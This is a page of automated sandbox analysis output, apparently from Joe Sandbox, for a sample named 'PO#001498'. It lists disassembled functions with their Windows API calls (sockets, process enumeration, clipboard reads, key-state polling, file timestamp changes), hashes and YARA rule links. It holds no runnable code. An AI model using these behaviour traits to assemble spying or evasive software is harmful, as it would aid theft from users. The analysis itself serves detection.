                                                                                                                                                                                • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                                                                                                                                                                                • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                                                • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                                                                                                                                                                                Function 0046483C Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • socket.WSOCK32(00000002,00000001,00000006,?,00000000), ref: 004648B0
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                                                                                                                                                                                • bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648DA
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                                                                                                                                                                                • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000005,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 0046492D
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorLast$bindclosesocketsocket
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2609815416-0
                                                                                                                                                                                • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                                                • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                                                                                                                                                                                • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                                                • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                                                                                                                                                                                Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                                                                                                                                                                                • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                                                                                                                                • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 004370A5
                                                                                                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                • _wcscat.LIBCMT ref: 004370BA
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 004370C8
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2547909840-0
                                                                                                                                                                                • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                                • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                                                                                                                                • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                                • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                                                                                                                                Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                                                                                                                                • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                                                                                                                                • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                                                                                                                                • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                                                                                                                                • String ID: *.*
                                                                                                                                                                                • API String ID: 2693929171-438819550
                                                                                                                                                                                • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                                                • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                                                                                                                                                                                • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                                                • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                                                                                                                                                                                Function 0046C5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69clipboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                                • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                                • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                                • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                                • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                                • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                                • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                                • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 589737431-2761332787
                                                                                                                                                                                • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                                                • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                                                                                                                                                                                • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                                                • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                                                                                                                                                                                Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 0043643C
                                                                                                                                                                                • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00436466
                                                                                                                                                                                • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsicollmouse_event
                                                                                                                                                                                • String ID: DOWN
                                                                                                                                                                                • API String ID: 1033544147-711622031
                                                                                                                                                                                • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                                • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                                                                                                                                • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                                • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                                                                                                                                Function 004741BB Relevance: 7.6, APIs: 5, Instructions: 137networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                                                • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorLastinet_addrsocket
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4170576061-0
                                                                                                                                                                                • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                                                • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                                                                                                                                                                                • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                                                • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                                                                                                                                                                                Function 00456354 Relevance: 7.6, APIs: 5, Instructions: 127keyboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                                • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                                • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                                • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AsyncState$ClientCursorLongScreenWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3539004672-0
                                                                                                                                                                                • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                                • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                                                                                                                                • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                                • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                                                                                                                                Function 004772DE Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                • IsWindowVisible.USER32 ref: 00477314
                                                                                                                                                                                • IsWindowEnabled.USER32 ref: 00477324
                                                                                                                                                                                • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                                                                                                                                                                                • IsIconic.USER32 ref: 0047733F
                                                                                                                                                                                • IsZoomed.USER32 ref: 0047734D
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 292994002-0
                                                                                                                                                                                • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                                                • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                                                                                                                                                                                • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                                                • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                                                                                                                                                                                Function 00436D2D Relevance: 7.6, APIs: 5, Instructions: 52filetimeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,771B3220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                                                                                                                • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File$CloseCreateHandleTime
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3397143404-0
                                                                                                                                                                                • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                                • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                                                                                                                                • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                                • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                                                                                                                                Function 0044EBBC Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 551COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _strncmp
                                                                                                                                                                                • String ID: ACCEPT$^$h
                                                                                                                                                                                • API String ID: 909875538-4263704089
                                                                                                                                                                                • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                                                • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                                                                                                                                                                                • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                                                • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                                                                                                                                                                                Function 00446566 Relevance: 5.9, Strings: 4, Instructions: 868COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: ERCP$VUUU$VUUU$VUUU
                                                                                                                                                                                • API String ID: 0-2165971703
                                                                                                                                                                                • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                                • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                                                                                                                                • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                                • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                                                                                                                                Function 0045C999 Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                                                                                                                                • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                                                                                                                                • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Find$File$CloseFirstNext
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3541575487-0
                                                                                                                                                                                • Opcode ID: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                                                                                                                                • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                                                                                                                                • Opcode Fuzzy Hash: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                                                                                                                                • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                                                                                                                                Function 00436ADE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                                                                                                                                                                                • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FileFind$AttributesCloseFirst
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 48322524-0
                                                                                                                                                                                • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                                • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                                                                                                                                • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                                • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                                                                                                                                Function 00443390 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __time64.LIBCMT ref: 004433A2
                                                                                                                                                                                  • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
